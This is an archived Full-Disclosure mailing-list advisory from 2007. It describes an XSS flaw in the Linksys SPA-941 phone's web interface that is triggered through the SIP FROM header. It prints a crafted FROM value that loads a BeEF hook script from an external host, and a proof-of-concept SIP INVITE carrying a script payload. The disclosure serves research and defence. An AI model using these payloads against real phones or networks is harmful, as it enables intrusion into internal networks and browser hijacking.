

[Full-disclosure] Owing the internal network with SIP (part 1) and a Linksys Phone

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-10/msg00177.html>

- *From:* "Radu State" <State@xxxxxxxx>
 - *Date:* Tue, 9 Oct 2007 15:06:10 +0200
-

SIP, the IETF endorsed VoIP signaling protocol, is currently used to establish and manage VoIP calls. Many security issues have been addressed until now about the security of VoIP due to the large numbers of attacks coming from the traditional IP networks, but none have addressed the securing the enterprise level network from SIP attacks. The basic question that we have tried to address was: can we own the internal network with SIP?

A quick answer could be: use a buffer overflow and do it. While buffer overflows in SIP stacks do exist, most of them are difficult to exploit because they are affecting embedded devices with custom architectures and operating systems. However, most VoIP devices have embedded web servers that are typically used to configure them, or to allow the user to see the missed calls, and all the call log history. The important issue is that, the user will check the missed calls and other device related information from her machine, which is usually on the internal network. In this post, I will describe how XSS injection can be done with SIP and a vulnerable integrated web server. The Linksys SPA Linksys SPA-941 (Version 5.1.8) phone has an integrated web server that allows for configuration and call history checking. An XSS vulnerability allows a malicious entity to perform XSS injection because the "FROM" field coming from the SIP message is not properly filtered. By sending a crafted SIP packet with the FROM field set to :

```
"<script x="" <sip:'src='http://baloo/beef/y.js'>@192.168.1.9:5060>;tag=1",
```

the beef attack tool can be launched against the internal machine of the user. Obviously any other XSS related attack (XSS proxy, Beef, Attack API, Jikto) can be similarly performed

[Full-disclosure] Owing the internal network with SIP (part 1) and a Linksys Phone

Affected Device: Linksys SPA Linksys SPA-941 (Version 5.1.8)

Date of Discovery 10/08/2007

Vendor was informed on 13/08/2007 and acknowledged the vulnerability

Credits:

Radu State

Balamurugan Karpagavinagam
Natraj Kaushik

MADYNES, INRIA, Nancy

Impact of this vulnerability: Very high : Most firewalls/IPS will not protect the internal network against XSS attacks delivered over SIP. Additionally, users will connect to these devices directly from the internal network and therefore the internal network can be compromised. Jeremiah Grossmann showed how firewalls can be deactivated with XSS attacks and many other malicious usages do exist. Unfortunately, most VoIP devices have weak embedded WEB applications, such that other vulnerable systems exist and will be disclosed soon.

POC code :

```
INVITE sip:h@xxxxxxxxxxxx SIP/2.0
```

```
Via: SIP/2.0/UDP 192.168.1.9:5060;rport
```

```
To: sip:h@xxxxxxxxxxxx
```

[Full-disclosure] Owning the internal network with SIP (part 1) and a Linksys Phone

From: "<script>alert('hack')</script>""natraj"
<sip:natraj@xxxxxxxx>;tag=002f000c
Call-ID: 401010907@xxxxxxxxxxxx
CSeq: 4857 INVITE
Content-Type: application/sdp
Subject: sip: natraj@xxxxxxxx
Contact: "natraj" <sip:192.168.1.9:5060;transport=udp>
Content-Length: 214

v=0
o=root 47650 47650 IN IP4 192.168.1.9
s=session
c=IN IP4 192.168.1.9
t=0 0
m=audio 5070 RTP/AVP 3 0 110 5
a=rtpmap:3 GSM/8000/1
a=rtpmap:0 PCMU/8000/1
a=rtpmap:110 speex/8000/1
a=rtpmap:5 DVI4/8000/1

Full-Disclosure – We believe in it.
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>
Hosted and sponsored by Secunia – <http://secunia.com/>